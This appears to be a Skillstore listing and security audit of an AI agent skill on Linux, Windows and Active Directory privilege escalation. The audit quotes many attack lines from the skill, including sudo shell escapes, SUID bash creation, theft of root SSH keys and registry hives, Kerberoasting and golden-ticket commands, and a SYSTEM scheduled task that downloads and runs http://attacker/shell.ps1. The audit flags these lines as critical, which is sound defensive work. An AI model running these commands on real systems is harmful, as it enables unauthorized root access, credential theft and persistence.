Skills privilege-escalation-methods
📦
privilege-escalation-methods
v1.1 Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access
Assess Privilege Escalation Risk
Privilege escalation reviews require clear knowledge of common Linux, Windows, and Active Directory abuse paths. This skill organizes those paths for authorized testing, training, and defensive hardening reviews.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "privilege-escalation-methods" from https://skillstore.io/skills/sickn33-privilege-escalation-methods.md and its manifest at https://skillstore.io/api/skills/sickn33-privilege-escalation-methods/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "privilege-escalation-methods". Summarize Linux capability abuse for defenders.
Expected outcome:
Capability abuse can let selected binaries perform actions beyond normal user rights. Defenders should inventory capabilities, remove unnecessary assignments, and alert on unexpected privileged shell behavior.
Using "privilege-escalation-methods". Create a safe Active Directory review from the listed topics.
Expected outcome:
- Check service account exposure and password age.
- Review delegation and ticket-related logging.
- Validate that credential dumping attempts are blocked and alerted.
- Confirm incident response steps for suspected ticket abuse.
Using "privilege-escalation-methods". Review whether the material is appropriate for publication.
Expected outcome:
The material needs revision before broad publication because it includes operational escalation, credential theft, and persistence workflows. A safe version should focus on detection and remediation.
Security Audit
Criticalv5 • 7/7/2026 Open versioned report
All static findings were retained because the skill is an operational post-exploitation guide for privilege escalation, credential theft, and persistence. Several matches are Markdown fence artifacts, but their surrounding sections contain actionable Linux, Windows, and Active Directory attack procedures. The semantic review confirms intent to obtain privileged shells, extract credentials, and compromise domains.
1
Files scanned
334
Lines analyzed
97
Review items
0
False positives ignored
Confirmed security concerns (23)
Critical
SSH directory access
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command targets /root/.ssh and archives a private key. This is direct access to privileged SSH credentials.
Critical
SSH private key file
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command specifically reads /root/.ssh/id_rsa. Exposing a private key can enable unauthorized privileged login.
Critical
Windows SAM/registry hive access
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
The command copies the Windows SYSTEM registry hive from a shadow copy. This supports offline credential extraction when paired with directory database or SAM data.
Critical
System password file access
sudo find /etc/passwd -exec /bin/bash \;
The command references /etc/passwd while executing a root shell through sudo find. It is part of direct root shell escalation using a trusted binary.
Critical
SUID bit modification
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
Critical
SUID bit modification
chmod +s bash
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
Critical
SUID bit modification
\! chmod +s /bin/bash
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
Critical
UID/GID manipulation
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.
Show all 23 confirmed findings
Critical
UID/GID manipulation
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.
Critical
Windows scheduled task creation
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
The scheduled task is created to run as SYSTEM and execute a remote PowerShell payload. This is a persistence and remote execution mechanism.
Critical
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The skill combines code execution, credential theft, and persistence mechanisms across Linux and Windows. That combination is consistent with malware-like post-exploitation guidance.
Critical
Offensive Privilege Escalation Playbook
The skill explicitly aims to move from low-privileged access to root or administrator access. Its deliverables include extracted credentials, persistence, and domain compromise.
The purpose and deliverables state the offensive objective directly, including privileged shell access and credential extraction.
Critical
Credential Theft and Domain Compromise Guidance
The skill includes DCSync, golden ticket, pass-the-ticket, LLMNR poisoning, NTLM relay, and shadow copy credential extraction workflows. These enable credential theft and domain control.
The named workflows and tool commands are classic Active Directory credential theft and ticket abuse techniques.
High
UID/GID manipulation
# Python with cap_setuid
The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.
High
UID/GID manipulation
# Perl with cap_setuid
The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.
High
Weak cryptographic algorithm
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
High
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
High
Weak cryptographic algorithm
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
High
Network reconnaissance
- Root or Administrator shell access
The output requirement includes root or administrator shell access and extracted credentials. The network reconnaissance label is imprecise, but the skill objective is offensive post-exploitation access.
High
Safety Controls Are Insufficient for Publication
The constraints mention authorization, but they do not remove operational exploit steps or define refusal behavior. The dangerous instructions remain the primary content.
The safety section contains policy-like cautions, but the rest of the file still provides actionable escalation and credential theft workflows.
Medium
System reconnaissance
# Python with cap_setuid
The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.
Medium
System reconnaissance
# Perl with cap_setuid
The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.
Low
System reconnaissance
root@target:~# id
The id command confirms root identity after exploitation. It is low severity by itself but validates successful privilege escalation in the example.
Capability review items (97)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Process spawn
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The Python PTY command spawns an interactive root shell through sudo. This is direct privilege escalation guidance and can grant unauthorized shell access.
Critical
Python os.system
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The Python command sets uid 0 and invokes a shell. This is direct root shell escalation through code execution.
Critical
Python PTY spawn (shell access)
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The command uses sudo Python to spawn /bin/bash in a PTY. This is explicit shell access as root.
Critical
PowerShell invocation
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
The PowerShell command downloads and executes a script from an attacker-controlled URL through a scheduled task. This combines remote payload execution with persistence.
Critical
Unix shell invocation
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.
Critical
Unix shell invocation
\! chmod +s /bin/bash
The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.
Critical
sudo privilege escalation
sudo vim -c ':!/bin/bash'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
sudo find /etc/passwd -exec /bin/bash \;
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
sudo awk 'BEGIN {system("/bin/bash")}'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
sudo perl -e 'exec "/bin/bash";'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
sudo less /etc/hosts # then type: !bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
sudo man man # then type: !bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
sudo env /bin/bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
sudo privilege escalation
$ sudo vim -c ':!/bin/bash'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
Critical
Hardcoded URL
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
The URL is used in a scheduled task that downloads and executes an attacker-hosted PowerShell script. This is remote payload execution and persistence guidance.
Critical
Hidden file access
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command archives /root/.ssh/id_rsa, a private SSH key. This is credential theft from a privileged account.
High
Ruby/shell backtick execution
--Author DOMAIN\<USER> --Command "cmd.exe" `
The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.
High
Ruby/shell backtick execution
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.
High
Ruby/PHP system() call
sudo awk 'BEGIN {system("/bin/bash")}'
The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.
High
Ruby/PHP system() call
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
High
Windows cmd.exe
--Author DOMAIN\<USER> --Command "cmd.exe" `
The cmd.exe invocation is part of GPO abuse that modifies domain administrator credentials. This can enable unauthorized domain privilege escalation.
High
Unix shell invocation
sudo vim -c ':!/bin/bash'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
sudo find /etc/passwd -exec /bin/bash \;
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
sudo awk 'BEGIN {system("/bin/bash")}'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
sudo perl -e 'exec "/bin/bash";'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
sudo env /bin/bash
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
/bin/bash -p
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
cp /bin/bash .
Copying /bin/bash is part of the no_root_squash NFS escalation workflow that later sets SUID. The command supports unauthorized privileged shell creation.
High
Unix shell invocation
/bin/bash -p
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
Unix shell invocation
$ sudo vim -c ':!/bin/bash'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
High
sudo privilege escalation
Exploit misconfigured sudo permissions using GTFOBins techniques:
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
High
sudo privilege escalation
# Check sudo permissions
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
High
sudo privilege escalation
sudo -l
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
High
sudo privilege escalation
# Check sudo permissions
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
High
sudo privilege escalation
$ sudo -l
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
High
sudo privilege escalation
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
High
Hardcoded URL
URL=https://facebook.com
The URL appears in a malicious shortcut used with LLMNR poisoning. The surrounding workflow is credential harvesting, not benign link handling.
High
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
High
Hardcoded IP address
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
High
Hardcoded IP address
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
High
Temp directory access
mkdir /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
High
Temp directory access
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
High
Temp directory access
cd /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
Medium
Standard device file access
getcap -r / 2>/dev/null
The /dev/null redirection is benign alone, but the command enumerates privileged file capabilities across the host. In this context it supports capability-based privilege escalation.
Risk Factors
⚙️ External commands (87)
SKILL.md:48 SKILL.md:77 SKILL.md:48 SKILL.md:40-53 SKILL.md:53-57 SKILL.md:57-68 SKILL.md:68-72 SKILL.md:72-85 SKILL.md:85-89 SKILL.md:89-99 SKILL.md:99-103 SKILL.md:103-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-127 SKILL.md:127-132 SKILL.md:132-136 SKILL.md:136-140 SKILL.md:140-144 SKILL.md:144-148 SKILL.md:148-152 SKILL.md:152-153 SKILL.md:154-155 SKILL.md:157-165 SKILL.md:165-171 SKILL.md:171-175 SKILL.md:175-177 SKILL.md:177-181 SKILL.md:181-186 SKILL.md:188-192 SKILL.md:192-195 SKILL.md:195-199 SKILL.md:199-206 SKILL.md:210-213 SKILL.md:213-221 SKILL.md:221-230 SKILL.md:230-234 SKILL.md:234-237 SKILL.md:237-241 SKILL.md:241-245 SKILL.md:245-291 SKILL.md:291-301 SKILL.md:301-305 SKILL.md:305-311 SKILL.md:47 SKILL.md:77 SKILL.md:117 SKILL.md:127 SKILL.md:136 SKILL.md:144 SKILL.md:152 SKILL.md:175 SKILL.md:181 SKILL.md:192 SKILL.md:199 SKILL.md:211 SKILL.md:241 SKILL.md:154 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:52 SKILL.md:63 SKILL.md:67 SKILL.md:77 SKILL.md:80 SKILL.md:97 SKILL.md:106 SKILL.md:108 SKILL.md:298 SKILL.md:38 SKILL.md:41 SKILL.md:42 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:50 SKILL.md:51 SKILL.md:52 SKILL.md:292 SKILL.md:293 SKILL.md:298 SKILL.md:319
🌐 Network access (5)
📁 Filesystem access (5)
Detected Patterns
Python PTY spawn (shell access)SSH directory accessSSH private key fileWindows SAM/registry hive accessSystem password file accessSUID bit modification×3UID/GID manipulation×4Weak cryptographic algorithm×3Windows scheduled task creationSystem reconnaissance×3Network reconnaissance
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-privilege-escalation-methods/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-privilege-escalation-methods.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). privilege-escalation-methods security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5BibTeX citation
@techreport{sickn33-sickn33-privilege-escalation-methods-2026,
author = {sickn33},
title = {privilege-escalation-methods security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "privilege-escalation-methods security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-privilege-escalation-methods:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Plan Authorized Testing
Map allowed privilege escalation checks to a signed engagement scope before testing begins.
Build Defensive Checklists
Convert listed attack categories into hardening, monitoring, and evidence collection tasks.
Teach Lab Concepts
Explain escalation concepts in an isolated lab without targeting real systems.
Try These Prompts
Summarize Categories
Summarize the Linux, Windows, and Active Directory privilege escalation categories in this skill for an authorized lab. Do not include executable commands.
Create Hardening Checklist
Turn this skill into a defensive hardening checklist for servers and domain systems. Include controls, evidence to collect, and cleanup checks.
Map Test Scope
Map the listed techniques to prerequisites, required approvals, expected evidence, and stop conditions for an authorized internal test.
Assess Enterprise Risk
Create a scoped risk assessment using this skill. Include abuse paths, likely detections, containment actions, cleanup duties, and go or no-go conditions.
Best Practices
- Use the material only in authorized labs or signed security engagements.
- Translate offensive techniques into defensive controls, detections, and cleanup tasks.
- Document scope, approval, evidence handling, and stop conditions before any test.
Avoid
- Using the techniques on systems without explicit written authorization.
- Copying operational commands into production or third-party environments.
- Treating credential extraction or persistence as acceptable without approval and cleanup.
Frequently Asked Questions
What does this skill cover?
It covers Linux, Windows, and Active Directory privilege escalation concepts with examples and reference tables.
Is this safe for general users?
No. The source includes operational post-exploitation guidance and should be restricted to authorized security work.
Does the skill run commands by itself?
No. It is markdown guidance, but an agent or user could act on the commands if asked.
Can defenders use this skill?
Yes, defenders can convert the categories into hardening checks, monitoring ideas, and incident response exercises.
Does it confirm authorization?
No. It does not enforce legal scope or target ownership before presenting risky material.
What should change before publication?
Remove operational exploit steps and rewrite the content as defensive guidance with clear refusal behavior.
Developer Details
Author
sickn33License
MIT
Author version
v1.1
Skillstore revision
r1
Version notice
The author-declared version is not valid SemVer.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/privilege-escalation-methodsRef
9f814fc6a43fd99946f2da5e0df231c65a38bc76
Maintenance freshness
7/18/2026
Usage
8 downloads · 156 views
File structure
📄 SKILL.md